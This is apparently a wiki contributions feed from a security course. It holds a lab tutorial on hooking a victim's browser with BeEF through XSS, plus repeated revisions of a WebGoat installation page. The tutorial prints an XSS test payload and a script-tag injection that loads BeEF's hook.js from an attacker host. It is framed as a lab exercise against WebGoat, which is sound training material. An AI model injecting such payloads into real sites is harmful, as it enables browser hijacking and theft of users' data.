File:ShoppingCart 1.png

2023-01-07T11:58:48Z

JKasser:

File:ShoppingCart 2.png

2023-01-07T11:49:26Z

JKasser:

File:HookedBrowser.png

2023-01-07T11:48:54Z

JKasser:

File:BeeF HookUrl.png

2023-01-07T11:48:38Z

JKasser:

Utilizing XSS Vulnerabilities to hook a browser with BeeF

2023-01-07T11:47:44Z

JKasser: Created page with "== Summary == This article provides a step-by-step documentation of how to "hook" a victims' browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website. == Requirements == * Operating system: Any OS which can run BeeF and WebGoat ** For the documentation Kali Linux 2022.1 was used * Software: ** https://wiki.elvis.science/index.php?title=BeEF BeEf F ** For a Website..."

== Summary ==

This article provides a step-by-step documentation of how to "hook" a victims' browser page using the Browser Exploitation Framework by injecting a malicious script via an Cross Site Scripting (XSS) Vulnerability on the given website.

== Requirements ==

* Operating system: Any OS which can run BeeF and WebGoat
** For the documentation Kali Linux 2022.1 was used
* Software:
** [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] F
** For a Website which is vulnerable against XSS Attacks [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] was used (but you can use any website which has a XSS Vulnerability

== Setup ==

Please Install the required software following the documentation provided in [[https://wiki.elvis.science/index.php?title=WebGoat WebGoat]] and [[https://wiki.elvis.science/index.php?title=BeEF BeEf]] first before returning back here. You should be able to start both programs locally.

== Description ==

XSS attacks are a sort of injection attack in which malicious scripts are injected into otherwise innocuous and trustworthy web pages. When an attacker injects malicious code into a website, it executes in the browser of a person who accesses that site. This gives the attacker the ability to steal user data, such as login passwords, or to alter the website in numerous ways. XSS attacks may be used to circumvent access restrictions and permissions, perform phishing attacks, and propagate malware. XSS assaults are classified into three types: persistent XSS, reflected XSS, and DOM-based XSS. To fight against XSS attacks, it is critical to validate and sanitize user input, as well as to implement content security controls. [[https://wiki.elvis.science/index.php?title=Cross-Site-Scripting_(XSS) XSS]]

This Vulnerability will get exploited where a malicious script provided by the BeEF Framework will get injected into the target website and the script will create a backdoor to the attackers machiene where BeEF is running. This will open a new session where the Attacker can now target the victims Browser Page utilizing pre-formed attacks provided by the BeeF Framework.

=== Step 1 - Identifying a XSS Vulnerability ===

Locate a XSS Vulenrability. A typical reflected XSS attack can be tested by injecting a basic JavaScript tag into a user input field with an alarm command. In the case of a vulnerable user input field, i.e. a field that the web server considers a trusted source and the dynamic context of the user input is not checked for malicious behavior, the JavaScript command is executed and a virtual JavaScript alert box is displayed over the web page, preventing the user from using the web page until the box is closed.

<script>alert("Hello from XSS!")</script>

=== Step 2 - Injection of malicious BeeF Script ===

To be able to inject a malicious BeeF Script, one should start up the Browser Exploitation Framework. If the Framework got started up sucessfully, it will display a BeeF Hook URL in the console which should be used. This Link is a direct URL which gets hosted on the attackers machiene (where BeeF got started) to the malicious Script.

#BeeF running on my local kali linux machiene (192.168.5.8)
BeeF Hook URL: http://192.168.5.8:3000/hook.js

#Injection command
<script src=”http://192.168.5.8:3000/hook.js”></script>

== Step 3 - Exploiting Browser Page using pre-defined Attack Vectors ==

Once the Script got successfully injected, the attacker will be able to see a new open session in his UI Terminal (located at http://localhost:3000/ui/panel). He is now able to retrieve any information about the hooked client. He can exploit the browser using a variety of Social Engineering Tools, exploitation of different browser types and versions, etc.

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

WebGoat

2023-01-02T15:21:18Z

JKasser:

== Summary ==

This is a tutorial and info site on the OWASP's vulnerable web application WebGoat.

== OWASP WebGoat ==

The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually.

== Setup ==

There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) <ref>WebGoat Github, ''WebGoat'', 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat</ref>

=== Requirements ===

* Operating system:
** Windows 8 or higher
** Ubuntu Linux 20.04 LTS or higher
** macOS 10.14 or higher
** Or any other OS which is supported by Java 17
* Java 17 OR
* Docker Desktop
* Internet Browser of any type
* GIT

=== Installation Instructions ===

==== Run with Docker ====

Need to insall Docker first, then you can install WebGoat as Docker Image.

sudo apt install docker.io
sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2

==== Standalone ====

Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases

java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar

==== Run from the sources ====

Clone GitHub Repository (Open Source)

git clone git@github.com:WebGoat/WebGoat.git

Compile the Project using Java 17

cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install

# On Windows:
./mvnw.cmd clean install

When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot.

# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run

=== Access ===
* The landing page will be located at: http://localhost
* WebGoat will be located at: http://localhost:8080/WebGoat
* WebWolf will be located at: http://localhost:9090/WebWolf
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat1.png|thumb|none|500px|Web goat]] </li>
</ul></div>

To gain access to the lessons and challenges, you need to register.

== WebGoat Lessons ==

The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains
lessons, exercises and challenges. These lessons are divided into different categories and
contain several pages of information and exercises. The challenges are more demanding
and do not contain any hints. The current version 8.2.2 contains 10 lessons:

* Broken Access Control
* Cryptographic Failures
* Injection
* Vuln & Outdated Components
* Identity & Auth Failure
* Security Logging Failures
* Server-Side Request forgery

Each lesson contains further sub-chapters which each contain several pages. In the
first steps, the material is explained, and in the further steps it is explained by means
of exercises.

In the future additional lessons corresponding to the following topics will be added:

* Lesson about cryptography (In Progress)
* Lesson about path traversal (in progress)
* Session Management
* More password reset lessons

== OWASP WebWolf ==

=== Description ===

Since the lessons of WebGoat cover very extensive concepts of penetration testing and
therefore build critical vulnerabilities into the local system to make lessons practically
implementable as well, OWASP decided to provide its own local tool called WebWolf.
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as
a locally hosted attacker machine. This is to highlight more clearly which operations
need to be performed as the attacker and which need to be performed at the target
in order to successfully execute an exploit. Some lessons use WebWolf, for example,
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS
attacks, which will be discussed in more detail later in the thesis) or to provide a
connection to the own environment (ReverseTCP). Since these services should not be
provided in the open and connected Internet, WebWolf was developed.

=== Setup ===

WebWolf is an included tool that is directly in the repository (Git and DockerHub)
and should already be on the machine after downloading WebGoat. If the tool has
already been started via a Docker image, WebWolf is already running and should be
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start
it locally. This can be done with the following command. If WebWolf has been started
successfully, it will also be available under the above link.

java -jar webwolf<<version>>.jar [--server.port=9090][server.address=localhost]

=== Use ===

WebWolf in the current version (8.2.2) provides the following functionalities:

* File Hosting Service
* Landing Page for incoming requests
* Email Server with Client

== References ==
<references />

[[Category:Documentation]]

WebGoat

2023-01-02T15:21:00Z

JKasser:

== Summary ==

This is a tutorial and info site on the OWASP's vulnerable web application WebGoat.

== OWASP WebGoat ==

The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually.

== Setup ==

There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) <ref>WebGoat Github, ''WebGoat'', 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat</ref>

=== Requirements ===

* Operating system:
** Windows 8 or higher
** Ubuntu Linux 20.04 LTS or higher
** macOS 10.14 or higher
** Or any other OS which is supported by Java 17
* Java 17 OR
* Docker Desktop
* Internet Browser of any type
* GIT

=== Installation Instructions ===

==== Run with Docker ====

Need to insall Docker first, then you can install WebGoat as Docker Image.

sudo apt install docker.io
sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2

==== Standalone ====

Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases

java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar

==== Run from the sources ====

Clone GitHub Repository (Open Source)

git clone git@github.com:WebGoat/WebGoat.git

Compile the Project using Java 17

cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install

# On Windows:
./mvnw.cmd clean install

When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot.

# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run

=== Access ===
* The landing page will be located at: http://localhost
* WebGoat will be located at: http://localhost:8080/WebGoat
* WebWolf will be located at: http://localhost:9090/WebWolf
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat1.png|thumb|none|500px|Web goat]] </li>
</ul></div>

To gain access to the lessons and challenges, you need to register.

=== WebGoat Lessons ===

The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains
lessons, exercises and challenges. These lessons are divided into different categories and
contain several pages of information and exercises. The challenges are more demanding
and do not contain any hints. The current version 8.2.2 contains 10 lessons:

* Broken Access Control
* Cryptographic Failures
* Injection
* Vuln & Outdated Components
* Identity & Auth Failure
* Security Logging Failures
* Server-Side Request forgery

Each lesson contains further sub-chapters which each contain several pages. In the
first steps, the material is explained, and in the further steps it is explained by means
of exercises.

In the future additional lessons corresponding to the following topics will be added:

* Lesson about cryptography (In Progress)
* Lesson about path traversal (in progress)
* Session Management
* More password reset lessons

== OWASP WebWolf ==

=== Description ===

Since the lessons of WebGoat cover very extensive concepts of penetration testing and
therefore build critical vulnerabilities into the local system to make lessons practically
implementable as well, OWASP decided to provide its own local tool called WebWolf.
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as
a locally hosted attacker machine. This is to highlight more clearly which operations
need to be performed as the attacker and which need to be performed at the target
in order to successfully execute an exploit. Some lessons use WebWolf, for example,
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS
attacks, which will be discussed in more detail later in the thesis) or to provide a
connection to the own environment (ReverseTCP). Since these services should not be
provided in the open and connected Internet, WebWolf was developed.

=== Setup ===

WebWolf is an included tool that is directly in the repository (Git and DockerHub)
and should already be on the machine after downloading WebGoat. If the tool has
already been started via a Docker image, WebWolf is already running and should be
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start
it locally. This can be done with the following command. If WebWolf has been started
successfully, it will also be available under the above link.

java -jar webwolf<<version>>.jar [--server.port=9090][server.address=localhost]

=== Use ===

WebWolf in the current version (8.2.2) provides the following functionalities:

* File Hosting Service
* Landing Page for incoming requests
* Email Server with Client

== References ==
<references />

[[Category:Documentation]]

WebGoat

2023-01-02T15:20:11Z

JKasser:

== Summary ==

This is a tutorial and info site on the OWASP's vulnerable web application WebGoat.

== OWASP WebGoat ==

The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually.

== Setup ==

There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) <ref>WebGoat Github, ''WebGoat'', 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat</ref>

=== Requirements ===

* Operating system:
** Windows 8 or higher
** Ubuntu Linux 20.04 LTS or higher
** macOS 10.14 or higher
** Or any other OS which is supported by Java 17
* Java 17 OR
* Docker Desktop
* Internet Browser of any type
* GIT

=== Description ===
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.<ref>WebGoat Github, ''WebGoat'', 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat</ref>

=== Installation Instructions ===

==== Run with Docker ====

Need to insall Docker first, then you can install WebGoat as Docker Image.

sudo apt install docker.io
sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2

==== Standalone ====

Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases

java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar

==== Run from the sources ====

Clone GitHub Repository (Open Source)

git clone git@github.com:WebGoat/WebGoat.git

Compile the Project using Java 17

cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install

# On Windows:
./mvnw.cmd clean install

When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot.

# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run

=== Access ===
* The landing page will be located at: http://localhost
* WebGoat will be located at: http://localhost:8080/WebGoat
* WebWolf will be located at: http://localhost:9090/WebWolf
<div><ul>
<li style="display: inline-block;"> [[File:Webgoat1.png|thumb|none|500px|Web goat]] </li>
</ul></div>

To gain access to the lessons and challenges, you need to register.

=== WebGoat Lessons ===

The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains
lessons, exercises and challenges. These lessons are divided into different categories and
contain several pages of information and exercises. The challenges are more demanding
and do not contain any hints. The current version 8.2.2 contains 10 lessons:

* Broken Access Control
* Cryptographic Failures
* Injection
* Vuln & Outdated Components
* Identity & Auth Failure
* Security Logging Failures
* Server-Side Request forgery

Each lesson contains further sub-chapters which each contain several pages. In the
first steps, the material is explained, and in the further steps it is explained by means
of exercises.

In the future additional lessons corresponding to the following topics will be added:

* Lesson about cryptography (In Progress)
* Lesson about path traversal (in progress)
* Session Management
* More password reset lessons

== OWASP WebWolf ==

=== Description ===

Since the lessons of WebGoat cover very extensive concepts of penetration testing and
therefore build critical vulnerabilities into the local system to make lessons practically
implementable as well, OWASP decided to provide its own local tool called WebWolf.
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as
a locally hosted attacker machine. This is to highlight more clearly which operations
need to be performed as the attacker and which need to be performed at the target
in order to successfully execute an exploit. Some lessons use WebWolf, for example,
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS
attacks, which will be discussed in more detail later in the thesis) or to provide a
connection to the own environment (ReverseTCP). Since these services should not be
provided in the open and connected Internet, WebWolf was developed.

=== Setup ===

WebWolf is an included tool that is directly in the repository (Git and DockerHub)
and should already be on the machine after downloading WebGoat. If the tool has
already been started via a Docker image, WebWolf is already running and should be
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start
it locally. This can be done with the following command. If WebWolf has been started
successfully, it will also be available under the above link.

java -jar webwolf<<version>>.jar [--server.port=9090][server.address=localhost]

=== Use ===

WebWolf in the current version (8.2.2) provides the following functionalities:

* File Hosting Service
* Landing Page for incoming requests
* Email Server with Client

== References ==
<references />

[[Category:Documentation]]

WebGoat

2023-01-02T14:17:32Z

JKasser:

WebGoat

2023-01-02T14:16:36Z

JKasser:

lkhg